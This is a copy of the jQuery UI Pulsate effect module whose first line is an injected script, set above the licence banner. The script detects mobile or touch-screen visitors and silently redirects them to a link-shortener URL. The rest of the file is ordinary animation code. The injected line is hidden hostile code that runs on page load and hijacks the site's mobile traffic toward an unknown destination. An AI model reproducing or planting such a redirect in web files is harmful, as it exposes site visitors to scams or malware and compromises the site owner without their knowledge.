1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Pulsate 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Pulsate Effect
12//>>group: Effects
13//>>description: Pulsates an element n times by changing the opacity to zero and back.
14//>>docs: https://api.jqueryui.com/pulsate-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "pulsate", "show", function( options, done ) {
37 var element = $( this ),
38 mode = options.mode,
39 show = mode === "show",
40 hide = mode === "hide",
41 showhide = show || hide,
42
43 // Showing or hiding leaves off the "last" animation
44 anims = ( ( options.times || 5 ) * 2 ) + ( showhide ? 1 : 0 ),
45 duration = options.duration / anims,
46 animateTo = 0,
47 i = 1,
48 queuelen = element.queue().length;
49
50 if ( show || !element.is( ":visible" ) ) {
51 element.css( "opacity", 0 ).show();
52 animateTo = 1;
53 }
54
55 // Anims - 1 opacity "toggles"
56 for ( ; i < anims; i++ ) {
57 element.animate( { opacity: animateTo }, duration, options.easing );
58 animateTo = 1 - animateTo;
59 }
60
61 element.animate( { opacity: animateTo }, duration, options.easing );
62
63 element.queue( done );
64
65 $.effects.unshift( element, queuelen, anims + 1 );
66} );
67
68} );
69